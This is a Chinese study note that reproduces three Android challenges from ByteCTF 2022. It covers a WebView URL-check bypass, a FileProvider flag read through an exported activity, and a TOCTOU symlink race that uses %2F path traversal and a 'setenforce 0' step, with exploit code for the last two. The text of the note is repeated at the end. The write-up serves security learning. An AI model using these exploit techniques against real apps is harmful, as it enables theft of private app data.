安卓安全学习笔记之2022ByteCTF mobile复现
字数 2086 2025-08-25 22:58:29

Android安全学习笔记:2022 ByteCTF Mobile题目复现

一、前置知识

1. WebView组件

WebView是Android中用于显示网页的组件,主要功能包括:

  • 显示和渲染web界面
  • 直接使用HTML进行布局
  • 与JavaScript进行交互

创建WebView的两种方法:

  1. 代码创建:WebView webview = new WebView(getApplicationContext());
  2. XML布局:在布局文件中声明WebView控件
<WebView
    android:id="@+id/eeeewebview"
    android:layout_width="0dp"
    android:layout_height="0dp"
    app:layout_constraintBottom_toBottomOf="parent"
    app:layout_constraintEnd_toEndOf="parent"
    app:layout_constraintStart_toStartOf="parent"
    app:layout_constraintTop_toTopOf="parent" />

关键配置:

  • setWebViewClient():设置WebView客户端,控制网页加载行为
  • shouldOverrideUrlLoading():控制是否拦截URL加载
  • shouldInterceptRequest():拦截资源请求并修改响应
  • setJavaScriptEnabled(true):启用JavaScript执行

2. URI结构

URI代表要操作的数据,基本结构:

[scheme:]scheme-specific-part[#fragment]

详细分解:

[scheme:][//authority][path][?query][#fragment]

示例解析:

http://www.example.cn/about?id=1
- scheme: http
- authority: www.example.cn
- path: about
- query: id=1

Android中URI操作:

  • Uri.parse("http://www.baidu.com"):将URL解析为Uri对象
  • getScheme():获取scheme部分
  • getHost():获取host部分
  • getPath():获取路径部分
  • getLastPathSegment():获取最后一段路径

3. Intent机制

Intent是Android组件间通信的桥梁,主要功能:

  • 启动Activity
  • 启动Service
  • 发送广播
  • 访问Content Provider

Intent类型

  1. 显式Intent:明确指定目标组件
Intent intent = new Intent(Intent.ACTION_MAIN);
intent.addCategory(Intent.CATEGORY_LAUNCHER);            
ComponentName cn = new ComponentName(packageName, className);            
intent.setComponent(cn);
startActivity(intent);
  1. 隐式Intent:指定动作和数据,由系统匹配处理

Intent属性

  1. Component:显式指定目标组件
  2. Action:指定要执行的动作(字符串)
  3. Data:指定数据URI
  4. Category:指定额外信息
  5. Extras:键值对数据
  6. Flags:指示如何启动Activity

Activity导出控制

android:exported属性决定Activity是否可被外部应用启动:

  • 显式设置则使用设置值
  • 未设置时:
    • 有intent-filter默认为true
    • 无intent-filter默认为false

二、题目环境配置

1. Docker环境问题

  • 原docker环境中的setup_emulator()函数未能正确模拟手机
  • 建议使用真实设备或完整模拟器进行复现

2. 关键脚本函数

  1. adb_broadcast:通过adb发送广播传递flag
am broadcast -W -a "com.wuhengctf.SET_FLAG" -n "com.bytectf.silverdroid/.FlagReceiver" -e 'flag' 'flag{example}'
  1. adb_activity:通过intent启动Activity并传递数据
am start -a android.intent.action.VIEW -d https://www.baidu.com

三、Silver Droid题目分析

1. 题目流程

  1. 攻击者提供URL
  2. 服务器加载URL到WebView
  3. 通过JS交互获取flag

2. MainActivity分析

关键代码逻辑:

Uri uri0 = this.getIntent().getData();
WebView webView = new WebView(this.getApplicationContext());

webView.setWebViewClient(new WebViewClient() {
    @Override
    public boolean shouldOverrideUrlLoading(WebView view, String url) {
        Uri uri0 = Uri.parse(url);
        if(uri0.getScheme().equals("https")) {
            return !uri0.getHost().endsWith(".myqcloud.com");
        }
        return true;
    }
});

webView.setWebViewClient(new WebViewClient() {
    @Override
    public WebResourceResponse shouldInterceptRequest(WebView view, WebResourceRequest request) {
        Uri uri0 = request.getUrl();
        if(uri0.getPath().startsWith("/local_cache/")) {
            File cacheFile = new File(MainActivity.this.getCacheDir(), uri0.getLastPathSegment());
            if(cacheFile.exists()) {
                FileInputStream inputStream = new FileInputStream(cacheFile);
                HashMap headers = new HashMap();
                headers.put("Access-Control-Allow-Origin", "*");
                return new WebResourceResponse("text/html", "utf-8", 200, "OK", headers, inputStream);
            }
        }
        return super.shouldInterceptRequest(view, request);
    }
});

webView.loadUrl("https://bytectf-1303079954.cos.ap-nanjing.myqcloud.com/jump.html?url=" + uri0);

3. jump.html分析

<script>
    function getQueryVariable(variable) {
        var query = window.location.search.substring(1);
        var vars = query.split("&");
        for (var i=0;i<vars.length;i++) {
            var pair = vars[i].split("=");
            if(pair[0] == variable){return pair[1];}
        }
        return false;
    }
    var myurl = getQueryVariable("url").toString().toLowerCase();
    if (myurl != 'false' && myurl.length > 1 && myurl.indexOf("myqcloud")==-1) {
        window.location.href = myurl;
    }
</script>

4. 漏洞利用要点

  1. URL必须满足:

    • 以"https"开头
    • 在WebView处理时以".myqcloud.com"结尾
    • 在跳转时不包含"mycloud"
  2. 利用思路:

    • 构造特殊URL绕过检查
    • 通过JS请求包含flag的资源
    • 利用shouldInterceptRequest拦截响应获取flag

四、Bronze Droid题目分析

1. 题目流程

  1. 攻击者提供恶意APK
  2. 服务器安装目标APK和恶意APK
  3. 启动恶意APK的MainActivity获取flag

2. MainActivity分析

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    this.setContentView(0x7F0B001C);
    String s = this.getIntent().getAction();
    if(s != null && (s.equals("ACTION_SHARET_TO_ME"))) {
        this.setResult(-1, this.getIntent());
        this.finish();
    }
}

3. 漏洞利用

利用FileProvider读取flag文件:

Intent intent = new Intent();
intent.setAction("ACTION_SHARET_TO_ME");
intent.setClassName("com.bytectf.bronzedroid","com.bytectf.bronzedroid.MainActivity");
intent.setData(Uri.parse("content://com.bytectf.bronzedroid.fileprovider/root/data/data/com.bytectf.bronzedroid/files/flag"));
intent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION);
startActivityForResult(intent,1);

获取返回结果:

@Override
public void onActivityResult(int requestCode, int resultCode, Intent data) {
    super.onActivityResult(requestCode, resultCode, data);
    InputStreamReader inputStreamReader = new InputStreamReader(getContentResolver().openInputStream(data.getData()));
    char[] cArr = new char[1024];
    StringBuffer stringBuffer = new StringBuffer("");
    while (-1 != inputStreamReader.read(cArr, 0, 1024)) {
        stringBuffer.append(String.valueOf(cArr));
    }
    String flag = new String(stringBuffer);
}

五、Gold Droid题目分析

1. 题目流程

  1. 先运行目标APK的MainActivity
  2. 再运行恶意APK的MainActivity获取flag

2. MainActivity分析

protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    this.setContentView(0x7F0B001C);
    File externalFile = new File(this.getExternalFilesDir("sandbox"), "file1");
    try {
        FileOutputStream fileOutputStream = new FileOutputStream(externalFile);
        fileOutputStream.write("I\'m in external\n".getBytes(StandardCharsets.UTF_8));
        fileOutputStream.close();
    }
    catch(IOException e) {
        e.printStackTrace();
    }
}

3. VulProvider分析

public ParcelFileDescriptor openFile(Uri uri, String mode) throws FileNotFoundException {
    File file0 = this.getContext().getExternalFilesDir("sandbox");
    File file = new File(this.getContext().getExternalFilesDir("sandbox"), uri.getLastPathSegment());
    
    try { 
        if(!file.getCanonicalPath().startsWith(file0.getCanonicalPath())) {
            throw new IllegalArgumentException();
        }
    }
    catch(IOException e) {
        e.printStackTrace();
    }

    return ParcelFileDescriptor.open(file, 0x10000000);
}

4. 漏洞利用要点

  1. 漏洞点:

    • ParcelFileDescriptor.open()内部使用file.getPath()而非getCanonicalPath()
    • 存在TOCTOU(Time-of-check to time-of-use)竞争条件
  2. 利用思路:

    • 创建符号链接快速切换目标文件
    • 竞争条件使检查时指向合法文件,打开时指向flag文件
    • 使用"%2F"绕过路径检查
  3. 关键代码:

String path = "content://slipme/" + "..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F" + "data%2Fdata%2Fcom.bytectf.pwngolddroid%2Fsymlink";

// 线程1:设置合法路径
Runtime.getRuntime().exec("ln -sf /sdcard/Android/data/com.bytectf.golddroid/files/sandbox/file1 " + symlink).waitFor();

// 线程2:设置flag路径
Runtime.getRuntime().exec("ln -sf /data/data/com.bytectf.golddroid/files/flag " + symlink).waitFor();

// 读取结果
String data = readUri(Uri.parse(path));
  1. 注意事项:
    • 必须执行adb shell setenforce 0关闭SELinux
    • 符号链接检查在SELinux开启时行为不同

六、总结

  1. WebView安全:

    • 注意URL检查和拦截逻辑
    • 谨慎处理shouldInterceptRequest
  2. Intent安全:

    • 合理设置android:exported属性
    • 验证传入的Intent数据
  3. FileProvider安全:

    • 确保路径检查完整
    • 避免符号链接导致的路径穿越
  4. 竞争条件:

    • 检查和使用路径要一致
    • 考虑TOCTOU问题
  5. 通用防护:

    • 输入验证
    • 权限控制
    • 安全配置
Android安全学习笔记:2022 ByteCTF Mobile题目复现 一、前置知识 1. WebView组件 WebView是Android中用于显示网页的组件,主要功能包括: 显示和渲染web界面 直接使用HTML进行布局 与JavaScript进行交互 创建WebView的两种方法: 代码创建: WebView webview = new WebView(getApplicationContext()); XML布局:在布局文件中声明WebView控件 关键配置: setWebViewClient() :设置WebView客户端,控制网页加载行为 shouldOverrideUrlLoading() :控制是否拦截URL加载 shouldInterceptRequest() :拦截资源请求并修改响应 setJavaScriptEnabled(true) :启用JavaScript执行 2. URI结构 URI代表要操作的数据,基本结构: 详细分解: 示例解析: Android中URI操作: Uri.parse("http://www.baidu.com") :将URL解析为Uri对象 getScheme() :获取scheme部分 getHost() :获取host部分 getPath() :获取路径部分 getLastPathSegment() :获取最后一段路径 3. Intent机制 Intent是Android组件间通信的桥梁,主要功能: 启动Activity 启动Service 发送广播 访问Content Provider Intent类型 显式Intent:明确指定目标组件 隐式Intent:指定动作和数据,由系统匹配处理 Intent属性 Component:显式指定目标组件 Action:指定要执行的动作(字符串) Data:指定数据URI Category:指定额外信息 Extras:键值对数据 Flags:指示如何启动Activity Activity导出控制 android:exported 属性决定Activity是否可被外部应用启动: 显式设置则使用设置值 未设置时: 有intent-filter默认为true 无intent-filter默认为false 二、题目环境配置 1. Docker环境问题 原docker环境中的 setup_emulator() 函数未能正确模拟手机 建议使用真实设备或完整模拟器进行复现 2. 关键脚本函数 adb_broadcast :通过adb发送广播传递flag adb_activity :通过intent启动Activity并传递数据 三、Silver Droid题目分析 1. 题目流程 攻击者提供URL 服务器加载URL到WebView 通过JS交互获取flag 2. MainActivity分析 关键代码逻辑: 3. jump.html分析 4. 漏洞利用要点 URL必须满足: 以"https"开头 在WebView处理时以".myqcloud.com"结尾 在跳转时不包含"mycloud" 利用思路: 构造特殊URL绕过检查 通过JS请求包含flag的资源 利用 shouldInterceptRequest 拦截响应获取flag 四、Bronze Droid题目分析 1. 题目流程 攻击者提供恶意APK 服务器安装目标APK和恶意APK 启动恶意APK的MainActivity获取flag 2. MainActivity分析 3. 漏洞利用 利用FileProvider读取flag文件: 获取返回结果: 五、Gold Droid题目分析 1. 题目流程 先运行目标APK的MainActivity 再运行恶意APK的MainActivity获取flag 2. MainActivity分析 3. VulProvider分析 4. 漏洞利用要点 漏洞点: ParcelFileDescriptor.open() 内部使用 file.getPath() 而非 getCanonicalPath() 存在TOCTOU(Time-of-check to time-of-use)竞争条件 利用思路: 创建符号链接快速切换目标文件 竞争条件使检查时指向合法文件,打开时指向flag文件 使用"%2F"绕过路径检查 关键代码: 注意事项: 必须执行 adb shell setenforce 0 关闭SELinux 符号链接检查在SELinux开启时行为不同 六、总结 WebView安全: 注意URL检查和拦截逻辑 谨慎处理 shouldInterceptRequest Intent安全: 合理设置 android:exported 属性 验证传入的Intent数据 FileProvider安全: 确保路径检查完整 避免符号链接导致的路径穿越 竞争条件: 检查和使用路径要一致 考虑TOCTOU问题 通用防护: 输入验证 权限控制 安全配置